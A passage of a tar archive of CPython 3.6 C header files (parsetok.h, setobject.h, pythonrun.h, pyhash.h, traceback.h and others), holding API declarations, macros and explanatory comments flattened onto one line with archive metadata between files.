PyAPI_DATA(PyTypeObject) _PyMethodWrapper_Type; #endif /* Py_LIMITED_API */ PyAPI_FUNC(PyObject *) PyDescr_NewMethod(PyTypeObject *, PyMethodDef *); PyAPI_FUNC(PyObject *) PyDescr_NewClassMethod(PyTypeObject *, PyMethodDef *); struct PyMemberDef; /* forward declaration for following prototype */ PyAPI_FUNC(PyObject *) PyDescr_NewMember(PyTypeObject *, struct PyMemberDef *); PyAPI_FUNC(PyObject *) PyDescr_NewGetSet(PyTypeObject *, struct PyGetSetDef *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyDescr_NewWrapper(PyTypeObject *, struct wrapperbase *, void *); #define PyDescr_IsData(d) (Py_TYPE(d)->tp_descr_set != NULL) #endif PyAPI_FUNC(PyObject *) PyDictProxy_New(PyObject *); PyAPI_FUNC(PyObject *) PyWrapper_New(PyObject *, PyObject *); PyAPI_DATA(PyTypeObject) PyProperty_Type; #ifdef __cplusplus } #endif #endif /* !Py_DESCROBJECT_H */ python3.6m/parsetok.h 0000644 00000005505 15246445047 0010512 0 ustar 00 /* Parser-tokenizer link interface */ #ifndef Py_LIMITED_API #ifndef Py_PARSETOK_H #define Py_PARSETOK_H #ifdef __cplusplus extern "C" { #endif typedef struct { int error; #ifndef PGEN /* The filename is useless for pgen, see comment in tok_state structure */ PyObject *filename; #endif int lineno; int offset; char *text; /* UTF-8-encoded string */ int token; int expected; } perrdetail; #if 0 #define PyPARSE_YIELD_IS_KEYWORD 0x0001 #endif #define PyPARSE_DONT_IMPLY_DEDENT 0x0002 #if 0 #define PyPARSE_WITH_IS_KEYWORD 0x0003 #define PyPARSE_PRINT_IS_FUNCTION 0x0004 #define PyPARSE_UNICODE_LITERALS 0x0008 #endif #define PyPARSE_IGNORE_COOKIE 0x0010 #define PyPARSE_BARRY_AS_BDFL 0x0020 PyAPI_FUNC(node *) PyParser_ParseString(const char *, grammar *, int, perrdetail *); PyAPI_FUNC(node *) PyParser_ParseFile (FILE *, const char *, grammar *, int, const char *, const char *, perrdetail *); PyAPI_FUNC(node *) PyParser_ParseStringFlags(const char *, grammar *, int, perrdetail *, int); PyAPI_FUNC(node *) PyParser_ParseFileFlags( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ const char *enc, grammar *g, int start, const char *ps1, const char *ps2, perrdetail *err_ret, int flags); PyAPI_FUNC(node *) PyParser_ParseFileFlagsEx( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ const char *enc, grammar *g, int start, const char *ps1, const char *ps2, perrdetail *err_ret, int *flags); PyAPI_FUNC(node *) PyParser_ParseFileObject( FILE *fp, PyObject *filename, const char *enc, grammar *g, int start, const char *ps1, const char *ps2, perrdetail *err_ret, int *flags); PyAPI_FUNC(node *) PyParser_ParseStringFlagsFilename( const char *s, const char *filename, /* decoded from the filesystem encoding */ grammar *g, int start, perrdetail *err_ret, int flags); PyAPI_FUNC(node *) PyParser_ParseStringFlagsFilenameEx( const char *s, const char *filename, /* decoded from the filesystem encoding */ grammar *g, int start, perrdetail *err_ret, int *flags); PyAPI_FUNC(node *) PyParser_ParseStringObject( const char *s, PyObject *filename, grammar *g, int start, perrdetail *err_ret, int *flags); /* Note that the following functions are defined in pythonrun.c, not in parsetok.c */ PyAPI_FUNC(void) PyParser_SetError(perrdetail *); PyAPI_FUNC(void) PyParser_ClearError(perrdetail *); #ifdef __cplusplus } #endif #endif /* !Py_PARSETOK_H */ #endif /* !Py_LIMITED_API */ python3.6m/setobject.h 0000644 00000006405 15246445047 0010644 0 ustar 00 /* Set object interface */ #ifndef Py_SETOBJECT_H #define Py_SETOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API /* There are three kinds of entries in the table: 1. Unused: key == NULL and hash == 0 2. Dummy: key == dummy and hash == -1 3. Active: key != NULL and key != dummy and hash != -1 The hash field of Unused slots is always zero. The hash field of Dummy slots are set to -1 meaning that dummy entries can be detected by either entry->key==dummy or by entry->hash==-1. */ #define PySet_MINSIZE 8 typedef struct { PyObject *key; Py_hash_t hash; /* Cached hash code of the key */ } setentry; /* The SetObject data structure is shared by set and frozenset objects. Invariant for sets: - hash is -1 Invariants for frozensets: - data is immutable. - hash is the hash of the frozenset or -1 if not computed yet. */ typedef struct { PyObject_HEAD Py_ssize_t fill; /* Number active and dummy entries*/ Py_ssize_t used; /* Number active entries */ /* The table contains mask + 1 slots, and that's a power of 2. * We store the mask instead of the size because the mask is more * frequently needed. */ Py_ssize_t mask; /* The table points to a fixed-size smalltable for small tables * or to additional malloc'ed memory for bigger tables. * The table pointer is never NULL which saves us from repeated * runtime null-tests. */ setentry *table; Py_hash_t hash; /* Only used by frozenset objects */ Py_ssize_t finger; /* Search finger for pop() */ setentry smalltable[PySet_MINSIZE]; PyObject *weakreflist; /* List of weak references */ } PySetObject; #define PySet_GET_SIZE(so) (((PySetObject *)(so))->used) PyAPI_DATA(PyObject *) _PySet_Dummy; PyAPI_FUNC(int) _PySet_NextEntry(PyObject *set, Py_ssize_t *pos, PyObject **key, Py_hash_t *hash); PyAPI_FUNC(int) _PySet_Update(PyObject *set, PyObject *iterable); PyAPI_FUNC(int) PySet_ClearFreeList(void); #endif /* Section excluded by Py_LIMITED_API */ PyAPI_DATA(PyTypeObject) PySet_Type; PyAPI_DATA(PyTypeObject) PyFrozenSet_Type; PyAPI_DATA(PyTypeObject) PySetIter_Type; PyAPI_FUNC(PyObject *) PySet_New(PyObject *); PyAPI_FUNC(PyObject *) PyFrozenSet_New(PyObject *); PyAPI_FUNC(int) PySet_Add(PyObject *set, PyObject *key); PyAPI_FUNC(int) PySet_Clear(PyObject *set); PyAPI_FUNC(int) PySet_Contains(PyObject *anyset, PyObject *key); PyAPI_FUNC(int) PySet_Discard(PyObject *set, PyObject *key); PyAPI_FUNC(PyObject *) PySet_Pop(PyObject *set); PyAPI_FUNC(Py_ssize_t) PySet_Size(PyObject *anyset); #define PyFrozenSet_CheckExact(ob) (Py_TYPE(ob) == &PyFrozenSet_Type) #define PyAnySet_CheckExact(ob) \ (Py_TYPE(ob) == &PySet_Type || Py_TYPE(ob) == &PyFrozenSet_Type) #define PyAnySet_Check(ob) \ (Py_TYPE(ob) == &PySet_Type || Py_TYPE(ob) == &PyFrozenSet_Type || \ PyType_IsSubtype(Py_TYPE(ob), &PySet_Type) || \ PyType_IsSubtype(Py_TYPE(ob), &PyFrozenSet_Type)) #define PySet_Check(ob) \ (Py_TYPE(ob) == &PySet_Type || \ PyType_IsSubtype(Py_TYPE(ob), &PySet_Type)) #define PyFrozenSet_Check(ob) \ (Py_TYPE(ob) == &PyFrozenSet_Type || \ PyType_IsSubtype(Py_TYPE(ob), &PyFrozenSet_Type)) #ifdef __cplusplus } #endif #endif /* !Py_SETOBJECT_H */ python3.6m/pythonrun.h 0000644 00000015176 15246445047 0010735 0 ustar 00 /* Interfaces to parse and execute pieces of python code */ #ifndef Py_PYTHONRUN_H #define Py_PYTHONRUN_H #ifdef __cplusplus extern "C" { #endif #define PyCF_MASK (CO_FUTURE_DIVISION | CO_FUTURE_ABSOLUTE_IMPORT | \ CO_FUTURE_WITH_STATEMENT | CO_FUTURE_PRINT_FUNCTION | \ CO_FUTURE_UNICODE_LITERALS | CO_FUTURE_BARRY_AS_BDFL | \ CO_FUTURE_GENERATOR_STOP) #define PyCF_MASK_OBSOLETE (CO_NESTED) #define PyCF_SOURCE_IS_UTF8 0x0100 #define PyCF_DONT_IMPLY_DEDENT 0x0200 #define PyCF_ONLY_AST 0x0400 #define PyCF_IGNORE_COOKIE 0x0800 #ifndef Py_LIMITED_API typedef struct { int cf_flags; /* bitmask of CO_xxx flags relevant to future */ } PyCompilerFlags; #endif #ifndef Py_LIMITED_API PyAPI_FUNC(int) PyRun_SimpleStringFlags(const char *, PyCompilerFlags *); PyAPI_FUNC(int) PyRun_AnyFileFlags(FILE *, const char *, PyCompilerFlags *); PyAPI_FUNC(int) PyRun_AnyFileExFlags( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ int closeit, PyCompilerFlags *flags); PyAPI_FUNC(int) PyRun_SimpleFileExFlags( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ int closeit, PyCompilerFlags *flags); PyAPI_FUNC(int) PyRun_InteractiveOneFlags( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ PyCompilerFlags *flags); PyAPI_FUNC(int) PyRun_InteractiveOneObject( FILE *fp, PyObject *filename, PyCompilerFlags *flags); PyAPI_FUNC(int) PyRun_InteractiveLoopFlags( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ PyCompilerFlags *flags); PyAPI_FUNC(struct _mod *) PyParser_ASTFromString( const char *s, const char *filename, /* decoded from the filesystem encoding */ int start, PyCompilerFlags *flags, PyArena *arena); PyAPI_FUNC(struct _mod *) PyParser_ASTFromStringObject( const char *s, PyObject *filename, int start, PyCompilerFlags *flags, PyArena *arena); PyAPI_FUNC(struct _mod *) PyParser_ASTFromFile( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ const char* enc, int start, const char *ps1, const char *ps2, PyCompilerFlags *flags, int *errcode, PyArena *arena); PyAPI_FUNC(struct _mod *) PyParser_ASTFromFileObject( FILE *fp, PyObject *filename, const char* enc, int start, const char *ps1, const char *ps2, PyCompilerFlags *flags, int *errcode, PyArena *arena); #endif #ifndef PyParser_SimpleParseString #define PyParser_SimpleParseString(S, B) \ PyParser_SimpleParseStringFlags(S, B, 0) #define PyParser_SimpleParseFile(FP, S, B) \ PyParser_SimpleParseFileFlags(FP, S, B, 0) #endif PyAPI_FUNC(struct _node *) PyParser_SimpleParseStringFlags(const char *, int, int); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(struct _node *) PyParser_SimpleParseStringFlagsFilename(const char *, const char *, int, int); #endif PyAPI_FUNC(struct _node *) PyParser_SimpleParseFileFlags(FILE *, const char *, int, int); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyRun_StringFlags(const char *, int, PyObject *, PyObject *, PyCompilerFlags *); PyAPI_FUNC(PyObject *) PyRun_FileExFlags( FILE *fp, const char *filename, /* decoded from the filesystem encoding */ int start, PyObject *globals, PyObject *locals, int closeit, PyCompilerFlags *flags); #endif #ifdef Py_LIMITED_API PyAPI_FUNC(PyObject *) Py_CompileString(const char *, const char *, int); #else #define Py_CompileString(str, p, s) Py_CompileStringExFlags(str, p, s, NULL, -1) #define Py_CompileStringFlags(str, p, s, f) Py_CompileStringExFlags(str, p, s, f, -1) PyAPI_FUNC(PyObject *) Py_CompileStringExFlags( const char *str, const char *filename, /* decoded from the filesystem encoding */ int start, PyCompilerFlags *flags, int optimize); PyAPI_FUNC(PyObject *) Py_CompileStringObject( const char *str, PyObject *filename, int start, PyCompilerFlags *flags, int optimize); #endif PyAPI_FUNC(struct symtable *) Py_SymtableString( const char *str, const char *filename, /* decoded from the filesystem encoding */ int start); #ifndef Py_LIMITED_API PyAPI_FUNC(struct symtable *) Py_SymtableStringObject( const char *str, PyObject *filename, int start); #endif PyAPI_FUNC(void) PyErr_Print(void); PyAPI_FUNC(void) PyErr_PrintEx(int); PyAPI_FUNC(void) PyErr_Display(PyObject *, PyObject *, PyObject *); #ifndef Py_LIMITED_API /* Use macros for a bunch of old variants */ #define PyRun_String(str, s, g, l) PyRun_StringFlags(str, s, g, l, NULL) #define PyRun_AnyFile(fp, name) PyRun_AnyFileExFlags(fp, name, 0, NULL) #define PyRun_AnyFileEx(fp, name, closeit) \ PyRun_AnyFileExFlags(fp, name, closeit, NULL) #define PyRun_AnyFileFlags(fp, name, flags) \ PyRun_AnyFileExFlags(fp, name, 0, flags) #define PyRun_SimpleString(s) PyRun_SimpleStringFlags(s, NULL) #define PyRun_SimpleFile(f, p) PyRun_SimpleFileExFlags(f, p, 0, NULL) #define PyRun_SimpleFileEx(f, p, c) PyRun_SimpleFileExFlags(f, p, c, NULL) #define PyRun_InteractiveOne(f, p) PyRun_InteractiveOneFlags(f, p, NULL) #define PyRun_InteractiveLoop(f, p) PyRun_InteractiveLoopFlags(f, p, NULL) #define PyRun_File(fp, p, s, g, l) \ PyRun_FileExFlags(fp, p, s, g, l, 0, NULL) #define PyRun_FileEx(fp, p, s, g, l, c) \ PyRun_FileExFlags(fp, p, s, g, l, c, NULL) #define PyRun_FileFlags(fp, p, s, g, l, flags) \ PyRun_FileExFlags(fp, p, s, g, l, 0, flags) #endif /* Stuff with no proper home (yet) */ #ifndef Py_LIMITED_API PyAPI_FUNC(char *) PyOS_Readline(FILE *, FILE *, const char *); #endif PyAPI_DATA(int) (*PyOS_InputHook)(void); PyAPI_DATA(char) *(*PyOS_ReadlineFunctionPointer)(FILE *, FILE *, const char *); #ifndef Py_LIMITED_API PyAPI_DATA(PyThreadState*) _PyOS_ReadlineTState; #endif /* Stack size, in "pointers" (so we get extra safety margins on 64-bit platforms). On a 32-bit platform, this translates to an 8k margin. */ #define PYOS_STACK_MARGIN 2048 #if defined(WIN32) && !defined(MS_WIN64) && defined(_MSC_VER) && _MSC_VER >= 1300 /* Enable stack checking under Microsoft C */ #define USE_STACKCHECK #endif #ifdef USE_STACKCHECK /* Check that we aren't overflowing our stack */ PyAPI_FUNC(int) PyOS_CheckStack(void); #endif #ifdef __cplusplus } #endif #endif /* !Py_PYTHONRUN_H */ python3.6m/genobject.h 0000644 00000006777 15246445047 0010636 0 ustar 00 /* Generator object interface */ #ifndef Py_LIMITED_API #ifndef Py_GENOBJECT_H #define Py_GENOBJECT_H #ifdef __cplusplus extern "C" { #endif struct _frame; /* Avoid including frameobject.h */ /* _PyGenObject_HEAD defines the initial segment of generator and coroutine objects. */ #define _PyGenObject_HEAD(prefix) \ PyObject_HEAD \ /* Note: gi_frame can be NULL if the generator is "finished" */ \ struct _frame *prefix##_frame; \ /* True if generator is being executed. */ \ char prefix##_running; \ /* The code object backing the generator */ \ PyObject *prefix##_code; \ /* List of weak reference. */ \ PyObject *prefix##_weakreflist; \ /* Name of the generator. */ \ PyObject *prefix##_name; \ /* Qualified name of the generator. */ \ PyObject *prefix##_qualname; typedef struct { /* The gi_ prefix is intended to remind of generator-iterator. */ _PyGenObject_HEAD(gi) } PyGenObject; PyAPI_DATA(PyTypeObject) PyGen_Type; #define PyGen_Check(op) PyObject_TypeCheck(op, &PyGen_Type) #define PyGen_CheckExact(op) (Py_TYPE(op) == &PyGen_Type) PyAPI_FUNC(PyObject *) PyGen_New(struct _frame *); PyAPI_FUNC(PyObject *) PyGen_NewWithQualName(struct _frame *, PyObject *name, PyObject *qualname); PyAPI_FUNC(int) PyGen_NeedsFinalizing(PyGenObject *); PyAPI_FUNC(int) _PyGen_SetStopIterationValue(PyObject *); PyAPI_FUNC(int) _PyGen_FetchStopIterationValue(PyObject **); PyAPI_FUNC(PyObject *) _PyGen_Send(PyGenObject *, PyObject *); PyObject *_PyGen_yf(PyGenObject *); PyAPI_FUNC(void) _PyGen_Finalize(PyObject *self); #ifndef Py_LIMITED_API typedef struct { _PyGenObject_HEAD(cr) } PyCoroObject; PyAPI_DATA(PyTypeObject) PyCoro_Type; PyAPI_DATA(PyTypeObject) _PyCoroWrapper_Type; PyAPI_DATA(PyTypeObject) _PyAIterWrapper_Type; PyObject *_PyAIterWrapper_New(PyObject *aiter); #define PyCoro_CheckExact(op) (Py_TYPE(op) == &PyCoro_Type) PyObject *_PyCoro_GetAwaitableIter(PyObject *o); PyAPI_FUNC(PyObject *) PyCoro_New(struct _frame *, PyObject *name, PyObject *qualname); /* Asynchronous Generators */ typedef struct { _PyGenObject_HEAD(ag) PyObject *ag_finalizer; /* Flag is set to 1 when hooks set up by sys.set_asyncgen_hooks were called on the generator, to avoid calling them more than once. */ int ag_hooks_inited; /* Flag is set to 1 when aclose() is called for the first time, or when a StopAsyncIteration exception is raised. */ int ag_closed; } PyAsyncGenObject; PyAPI_DATA(PyTypeObject) PyAsyncGen_Type; PyAPI_DATA(PyTypeObject) _PyAsyncGenASend_Type; PyAPI_DATA(PyTypeObject) _PyAsyncGenWrappedValue_Type; PyAPI_DATA(PyTypeObject) _PyAsyncGenAThrow_Type; PyAPI_FUNC(PyObject *) PyAsyncGen_New(struct _frame *, PyObject *name, PyObject *qualname); #define PyAsyncGen_CheckExact(op) (Py_TYPE(op) == &PyAsyncGen_Type) PyObject *_PyAsyncGenValueWrapperNew(PyObject *); int PyAsyncGen_ClearFreeLists(void); #endif #undef _PyGenObject_HEAD #ifdef __cplusplus } #endif #endif /* !Py_GENOBJECT_H */ #endif /* Py_LIMITED_API */ python3.6m/ast.h 0000644 00000000735 15246445047 0007451 0 ustar 00 #ifndef Py_AST_H #define Py_AST_H #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(int) PyAST_Validate(mod_ty); PyAPI_FUNC(mod_ty) PyAST_FromNode( const node *n, PyCompilerFlags *flags, const char *filename, /* decoded from the filesystem encoding */ PyArena *arena); PyAPI_FUNC(mod_ty) PyAST_FromNodeObject( const node *n, PyCompilerFlags *flags, PyObject *filename, PyArena *arena); #ifdef __cplusplus } #endif #endif /* !Py_AST_H */ python3.6m/osdefs.h 0000644 00000001263 15246445047 0010142 0 ustar 00 #ifndef Py_OSDEFS_H #define Py_OSDEFS_H #ifdef __cplusplus extern "C" { #endif /* Operating system dependencies */ #ifdef MS_WINDOWS #define SEP L'\\' #define ALTSEP L'/' #define MAXPATHLEN 256 #define DELIM L';' #endif /* Filename separator */ #ifndef SEP #define SEP L'/' #endif /* Max pathname length */ #ifdef __hpux #include <sys/param.h> #include <limits.h> #ifndef PATH_MAX #define PATH_MAX MAXPATHLEN #endif #endif #ifndef MAXPATHLEN #if defined(PATH_MAX) && PATH_MAX > 1024 #define MAXPATHLEN PATH_MAX #else #define MAXPATHLEN 1024 #endif #endif /* Search path entry delimiter */ #ifndef DELIM #define DELIM L':' #endif #ifdef __cplusplus } #endif #endif /* !Py_OSDEFS_H */ python3.6m/memoryobject.h 0000644 00000005315 15246445047 0011360 0 ustar 00 /* Memory view object. In Python this is available as "memoryview". */ #ifndef Py_MEMORYOBJECT_H #define Py_MEMORYOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API PyAPI_DATA(PyTypeObject) _PyManagedBuffer_Type; #endif PyAPI_DATA(PyTypeObject) PyMemoryView_Type; #define PyMemoryView_Check(op) (Py_TYPE(op) == &PyMemoryView_Type) #ifndef Py_LIMITED_API /* Get a pointer to the memoryview's private copy of the exporter's buffer. */ #define PyMemoryView_GET_BUFFER(op) (&((PyMemoryViewObject *)(op))->view) /* Get a pointer to the exporting object (this may be NULL!). */ #define PyMemoryView_GET_BASE(op) (((PyMemoryViewObject *)(op))->view.obj) #endif PyAPI_FUNC(PyObject *) PyMemoryView_FromObject(PyObject *base); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject *) PyMemoryView_FromMemory(char *mem, Py_ssize_t size, int flags); #endif #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyMemoryView_FromBuffer(Py_buffer *info); #endif PyAPI_FUNC(PyObject *) PyMemoryView_GetContiguous(PyObject *base, int buffertype, char order); /* The structs are declared here so that macros can work, but they shouldn't be considered public. Don't access their fields directly, use the macros and functions instead! */ #ifndef Py_LIMITED_API #define _Py_MANAGED_BUFFER_RELEASED 0x001 /* access to exporter blocked */ #define _Py_MANAGED_BUFFER_FREE_FORMAT 0x002 /* free format */ typedef struct { PyObject_HEAD int flags; /* state flags */ Py_ssize_t exports; /* number of direct memoryview exports */ Py_buffer master; /* snapshot buffer obtained from the original exporter */ } _PyManagedBufferObject; /* memoryview state flags */ #define _Py_MEMORYVIEW_RELEASED 0x001 /* access to master buffer blocked */ #define _Py_MEMORYVIEW_C 0x002 /* C-contiguous layout */ #define _Py_MEMORYVIEW_FORTRAN 0x004 /* Fortran contiguous layout */ #define _Py_MEMORYVIEW_SCALAR 0x008 /* scalar: ndim = 0 */ #define _Py_MEMORYVIEW_PIL 0x010 /* PIL-style layout */ typedef struct { PyObject_VAR_HEAD _PyManagedBufferObject *mbuf; /* managed buffer */ Py_hash_t hash; /* hash value for read-only views */ int flags; /* state flags */ Py_ssize_t exports; /* number of buffer re-exports */ Py_buffer view; /* private copy of the exporter's view */ PyObject *weakreflist; Py_ssize_t ob_array[1]; /* shape, strides, suboffsets */ } PyMemoryViewObject; #endif #ifdef __cplusplus } #endif #endif /* !Py_MEMORYOBJECT_H */ python3.6m/enumobject.h 0000644 00000000375 15246445047 0011015 0 ustar 00 #ifndef Py_ENUMOBJECT_H #define Py_ENUMOBJECT_H /* Enumerate Object */ #ifdef __cplusplus extern "C" { #endif PyAPI_DATA(PyTypeObject) PyEnum_Type; PyAPI_DATA(PyTypeObject) PyReversed_Type; #ifdef __cplusplus } #endif #endif /* !Py_ENUMOBJECT_H */ python3.6m/pyhash.h 0000644 00000010053 15246445047 0010150 0 ustar 00 #ifndef Py_HASH_H #define Py_HASH_H #ifdef __cplusplus extern "C" { #endif /* Helpers for hash functions */ #ifndef Py_LIMITED_API PyAPI_FUNC(Py_hash_t) _Py_HashDouble(double); PyAPI_FUNC(Py_hash_t) _Py_HashPointer(void*); PyAPI_FUNC(Py_hash_t) _Py_HashBytes(const void*, Py_ssize_t); #endif /* Prime multiplier used in string and various other hashes. */ #define _PyHASH_MULTIPLIER 1000003UL /* 0xf4243 */ /* Parameters used for the numeric hash implementation. See notes for _Py_HashDouble in Python/pyhash.c. Numeric hashes are based on reduction modulo the prime 2**_PyHASH_BITS - 1. */ #if SIZEOF_VOID_P >= 8 # define _PyHASH_BITS 61 #else # define _PyHASH_BITS 31 #endif #define _PyHASH_MODULUS (((size_t)1 << _PyHASH_BITS) - 1) #define _PyHASH_INF 314159 #define _PyHASH_NAN 0 #define _PyHASH_IMAG _PyHASH_MULTIPLIER /* hash secret * * memory layout on 64 bit systems * cccccccc cccccccc cccccccc uc -- unsigned char[24] * pppppppp ssssssss ........ fnv -- two Py_hash_t * k0k0k0k0 k1k1k1k1 ........ siphash -- two uint64_t * ........ ........ ssssssss djbx33a -- 16 bytes padding + one Py_hash_t * ........ ........ eeeeeeee pyexpat XML hash salt * * memory layout on 32 bit systems * cccccccc cccccccc cccccccc uc * ppppssss ........ ........ fnv -- two Py_hash_t * k0k0k0k0 k1k1k1k1 ........ siphash -- two uint64_t (*) * ........ ........ ssss.... djbx33a -- 16 bytes padding + one Py_hash_t * ........ ........ eeee.... pyexpat XML hash salt * * (*) The siphash member may not be available on 32 bit platforms without * an unsigned int64 data type. */ #ifndef Py_LIMITED_API typedef union { /* ensure 24 bytes */ unsigned char uc[24]; /* two Py_hash_t for FNV */ struct { Py_hash_t prefix; Py_hash_t suffix; } fnv; /* two uint64 for SipHash24 */ struct { uint64_t k0; uint64_t k1; } siphash; /* a different (!) Py_hash_t for small string optimization */ struct { unsigned char padding[16]; Py_hash_t suffix; } djbx33a; struct { unsigned char padding[16]; Py_hash_t hashsalt; } expat; } _Py_HashSecret_t; PyAPI_DATA(_Py_HashSecret_t) _Py_HashSecret; #endif #ifdef Py_DEBUG PyAPI_DATA(int) _Py_HashSecret_Initialized; #endif /* hash function definition */ #ifndef Py_LIMITED_API typedef struct { Py_hash_t (*const hash)(const void *, Py_ssize_t); const char *name; const int hash_bits; const int seed_bits; } PyHash_FuncDef; PyAPI_FUNC(PyHash_FuncDef*) PyHash_GetFuncDef(void); #endif /* cutoff for small string DJBX33A optimization in range [1, cutoff). * * About 50% of the strings in a typical Python application are smaller than * 6 to 7 chars. However DJBX33A is vulnerable to hash collision attacks. * NEVER use DJBX33A for long strings! * * A Py_HASH_CUTOFF of 0 disables small string optimization. 32 bit platforms * should use a smaller cutoff because it is easier to create colliding * strings. A cutoff of 7 on 64bit platforms and 5 on 32bit platforms should * provide a decent safety margin. */ #ifndef Py_HASH_CUTOFF # define Py_HASH_CUTOFF 0 #elif (Py_HASH_CUTOFF > 7 || Py_HASH_CUTOFF < 0) # error Py_HASH_CUTOFF must in range 0...7. #endif /* Py_HASH_CUTOFF */ /* hash algorithm selection * * The values for Py_HASH_SIPHASH24 and Py_HASH_FNV are hard-coded in the * configure script. * * - FNV is available on all platforms and architectures. * - SIPHASH24 only works on plaforms that don't require aligned memory for integers. * - With EXTERNAL embedders can provide an alternative implementation with:: * * PyHash_FuncDef PyHash_Func = {...}; * * XXX: Figure out __declspec() for extern PyHash_FuncDef. */ #define Py_HASH_EXTERNAL 0 #define Py_HASH_SIPHASH24 1 #define Py_HASH_FNV 2 #ifndef Py_HASH_ALGORITHM # ifndef HAVE_ALIGNED_REQUIRED # define Py_HASH_ALGORITHM Py_HASH_SIPHASH24 # else # define Py_HASH_ALGORITHM Py_HASH_FNV # endif /* uint64_t && uint32_t && aligned */ #endif /* Py_HASH_ALGORITHM */ #ifdef __cplusplus } #endif #endif /* !Py_HASH_H */ python3.6m/asdl.h 0000644 00000002275 15246445047 0007606 0 ustar 00 #ifndef Py_ASDL_H #define Py_ASDL_H typedef PyObject * identifier; typedef PyObject * string; typedef PyObject * bytes; typedef PyObject * object; typedef PyObject * singleton; typedef PyObject * constant; /* It would be nice if the code generated by asdl_c.py was completely independent of Python, but it is a goal the requires too much work at this stage. So, for example, I'll represent identifiers as interned Python strings. */ /* XXX A sequence should be typed so that its use can be typechecked. */ typedef struct { Py_ssize_t size; void *elements[1]; } asdl_seq; typedef struct { Py_ssize_t size; int elements[1]; } asdl_int_seq; asdl_seq *_Py_asdl_seq_new(Py_ssize_t size, PyArena *arena); asdl_int_seq *_Py_asdl_int_seq_new(Py_ssize_t size, PyArena *arena); #define asdl_seq_GET(S, I) (S)->elements[(I)] #define asdl_seq_LEN(S) ((S) == NULL ? 0 : (S)->size) #ifdef Py_DEBUG #define asdl_seq_SET(S, I, V) \ do { \ Py_ssize_t _asdl_i = (I); \ assert((S) != NULL); \ assert(_asdl_i < (S)->size); \ (S)->elements[_asdl_i] = (V); \ } while (0) #else #define asdl_seq_SET(S, I, V) (S)->elements[I] = (V) #endif #endif /* !Py_ASDL_H */ python3.6m/traceback.h 0000644 00000007074 15246445047 0010604 0 ustar 00 #ifndef Py_TRACEBACK_H #define Py_TRACEBACK_H #ifdef __cplusplus extern "C" { #endif #include "pystate.h" struct _frame; /* Traceback interface */ #ifndef Py_LIMITED_API typedef struct _traceback { PyObject_HEAD struct _traceback *tb_next; struct _frame *tb_frame; int tb_lasti; int tb_lineno; } PyTracebackObject; #endif PyAPI_FUNC(int) PyTraceBack_Here(struct _frame *); PyAPI_FUNC(int) PyTraceBack_Print(PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _Py_DisplaySourceLine(PyObject *, PyObject *, int, int); PyAPI_FUNC(void) _PyTraceback_Add(const char *, const char *, int); #endif /* Reveal traceback type so we can typecheck traceback objects */ PyAPI_DATA(PyTypeObject) PyTraceBack_Type; #define PyTraceBack_Check(v) (Py_TYPE(v) == &PyTraceBack_Type) #ifndef Py_LIMITED_API /* Write the Python traceback into the file 'fd'. For example: Traceback (most recent call first): File "xxx", line xxx in <xxx> File "xxx", line xxx in <xxx> ... File "xxx", line xxx in <xxx> This function is written for debug purpose only, to dump the traceback in the worst case: after a segmentation fault, at fatal error, etc. That's why, it is very limited. Strings are truncated to 100 characters and encoded to ASCII with backslashreplace. It doesn't write the source code, only the function name, filename and line number of each frame. Write only the first 100 frames: if the traceback is truncated, write the line " ...". This function is signal safe. */ PyAPI_FUNC(void) _Py_DumpTraceback( int fd, PyThreadState *tstate); /* Write the traceback of all threads into the file 'fd'. current_thread can be NULL. Return NULL on success, or an error message on error. This function is written for debug purpose only. It calls _Py_DumpTraceback() for each thread, and so has the same limitations. It only write the traceback of the first 100 threads: write "..." if there are more threads. If current_tstate is NULL, the function tries to get the Python thread state of the current thread. It is not an error if the function is unable to get the current Python thread state. If interp is NULL, the function tries to get the interpreter state from the current Python thread state, or from _PyGILState_GetInterpreterStateUnsafe() in last resort. It is better to pass NULL to interp and current_tstate, the function tries different options to retrieve these informations. This function is signal safe. */ PyAPI_FUNC(const char*) _Py_DumpTracebackThreads( int fd, PyInterpreterState *interp, PyThreadState *current_tstate); #endif /* !Py_LIMITED_API */ #ifndef Py_LIMITED_API /* Write a Unicode object into the file descriptor fd. Encode the string to ASCII using the backslashreplace error handler. Do nothing if text is not a Unicode object. The function accepts Unicode string which is not ready (PyUnicode_WCHAR_KIND). This function is signal safe. */ PyAPI_FUNC(void) _Py_DumpASCII(int fd, PyObject *text); /* Format an integer as decimal into the file descriptor fd. This function is signal safe. */ PyAPI_FUNC(void) _Py_DumpDecimal( int fd, unsigned long value); /* Format an integer as hexadecimal into the file descriptor fd with at least width digits. The maximum width is sizeof(unsigned long)*2 digits. This function is signal safe. */ PyAPI_FUNC(void) _Py_DumpHexadecimal( int fd, unsigned long value, Py_ssize_t width); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_TRACEBACK_H */ python3.6m/Python.h 0000644 00000006225 15246445047 0010143 0 ustar 00 #ifndef Py_PYTHON_H #define Py_PYTHON_H /* Since this is a "meta-include" file, no #ifdef __cplusplus / extern "C" { */ /* Include nearly all Python header files */ #include "patchlevel.h" #include "pyconfig.h" #include "pymacconfig.h" #include <limits.h> #ifndef UCHAR_MAX #error "Something's broken. UCHAR_MAX should be defined in limits.h." #endif #if UCHAR_MAX != 255 #error "Python's source code assumes C's unsigned char is an 8-bit type." #endif #if defined(__sgi) && defined(WITH_THREAD) && !defined(_SGI_MP_SOURCE) #define _SGI_MP_SOURCE #endif #include <stdio.h> #ifndef NULL # error "Python.h requires that stdio.h define NULL." #endif #include <string.h> #ifdef HAVE_ERRNO_H #include <errno.h> #endif #include 